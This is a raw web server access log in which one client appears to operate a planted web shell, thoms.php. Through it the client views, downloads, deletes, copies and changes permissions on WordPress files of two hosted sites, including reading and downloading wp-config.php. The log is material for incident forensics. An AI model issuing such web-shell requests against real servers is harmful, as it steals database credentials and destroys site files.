45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?chmod=.htaccess&p=bestzyx.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?chmod=wp-includes&p=bestzyx.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?chmod=locoy.php&p=bestzyx.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?del=license.txt&p=bestzyx.com.tw HTTP/1.1" 200 17535 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?chmod=readme.html&p=bestzyx.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?dl=wp-cron.php&p=bestzyx.com.tw HTTP/1.1" 200 17537 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?chmod=wp-load.php&p=bestzyx.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?del=wp-content&p=bestzyx.com.tw HTTP/1.1" 200 17529 "http://163.245.207.76:443/thoms.php?del=wp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-mail.php HTTP/1.1" 200 15349 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:56 -0400] "GET /bestzyx.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /bestzyx.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /thoms.php?p=bestzyx.com.tw&settings=1 HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /thoms.php?chmod=license.txt&p=bestzyx.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /thoms.php?del=thoms.php&p=bestzyx.com.tw HTTP/1.1" 200 17527 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /bestzyx.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /thoms.php?dl=wp-login.php&p=bestzyx.com.tw HTTP/1.1" 200 17520 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /thoms.php?del=wp-mail.php&p=bestzyx.com.tw HTTP/1.1" 200 17521 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /thoms.php?del=wp-signup.php&p=bestzyx.com.tw HTTP/1.1" 200 17529 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /thoms.php?dl=.htaccess&p=bestzyx.com.tw HTTP/1.1" 200 17520 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=.htaccess HTTP/1.1" 200 12725 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /bestzyx.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /thoms.php?chmod=wp-config.php&p=bestzyx.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:57 -0400] "GET /bestzyx.com.tw/wp-includes/ HTTP/1.1" 200 9283 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:58 -0400] "GET /thoms.php?dl=wp-signup.php&p=bestzyx.com.tw HTTP/1.1" 200 17529 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:58 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p= HTTP/1.1" 200 11652 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:58 -0400] "GET /thoms.php?dl=error_log&p=big-wife.com.tw HTTP/1.1" 200 17370 "http://163.245.207.76:443/thoms.php?dl=error_log&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:58 -0400] "GET /thoms.php?del=thoms.php&p=big-wife.com.tw HTTP/1.1" 200 17295 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:58 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 12043 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:58 -0400] "GET /thoms.php?del=orphan-transpiler&p=big-wife.com.tw HTTP/1.1" 200 17371 "http://163.245.207.76:443/thoms.php?del=orphan-transpiler&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:58 -0400] "GET /big-wife.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:58 -0400] "GET /big-wife.com.tw/ HTTP/1.1" 404 11320 "https://163.245.207.76/big-wife.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:58 -0400] "GET /thoms.php?dl=index.php&p=big-wife.com.tw HTTP/1.1" 200 17369 "http://163.245.207.76:443/thoms.php?dl=index.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:58 -0400] "GET /thoms.php?chmod=thoms.php&p=big-wife.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:58 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /thoms.php?chmod=text-kernel&p=big-wife.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=text-kernel&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /big-wife.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /thoms.php?chmod=error_log&p=big-wife.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /thoms.php?p=big-wife.com.tw&view=readme.html HTTP/1.1" 200 15236 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /big-wife.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /thoms.php?dl=wp-mail.php&p=big-wife.com.tw HTTP/1.1" 200 17374 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /thoms.php?dl=xmlrpc.php&p=big-wife.com.tw HTTP/1.1" 200 17376 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /big-wife.com.tw/ HTTP/1.1" 404 11320 "https://163.245.207.76:443/big-wife.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /big-wife.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p= HTTP/1.1" 200 11659 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /thoms.php?chmod=wp-content&p=big-wife.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /thoms.php?p=big-wife.com.tw&view=index.php HTTP/1.1" 200 12065 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /thoms.php?del=wp-comments-post.php&p=big-wife.com.tw HTTP/1.1" 200 17374 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-config.php HTTP/1.1" 200 13716 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /thoms.php?dl=wp-config.php&p=big-wife.com.tw HTTP/1.1" 200 17373 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:59 -0400] "GET /thoms.php?dl=wp-load.php&p=big-wife.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?chmod=readme.html&p=big-wife.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?chmod=wp-config.php&p=big-wife.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-mail.php HTTP/1.1" 200 15351 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=big-wife.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /big-wife.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11671 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?dl=license.txt&p=big-wife.com.tw HTTP/1.1" 200 17369 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?del=wp-load.php&p=big-wife.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?del=wp-trackback.php&p=big-wife.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11661 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?p=big-wife.com.tw&view=license.txt HTTP/1.1" 200 20079 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?del=wp-config-sample.php&p=big-wife.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?chmod=wp-cron.php&p=big-wife.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /big-wife.com.tw/upgrade/ HTTP/1.1" 200 6782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:00 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=big-wife.com.tw HTTP/1.1" 200 17366 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:01 -0400] "GET /big-wife.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:01 -0400] "GET /thoms.php?p=big-wife.com.tw&view=xmlrpc.php HTTP/1.1" 200 13365 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:01 -0400] "GET /big-wife.com.tw/thoms.php?p= HTTP/1.1" 200 16372 "https://163.245.207.76/big-wife.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:01 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13308 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:01 -0400] "GET /big-wife.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:01 -0400] "GET /thoms.php?del=wp-login.php&p=big-wife.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:01 -0400] "GET /thoms.php?chmod=wp-login.php&p=big-wife.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
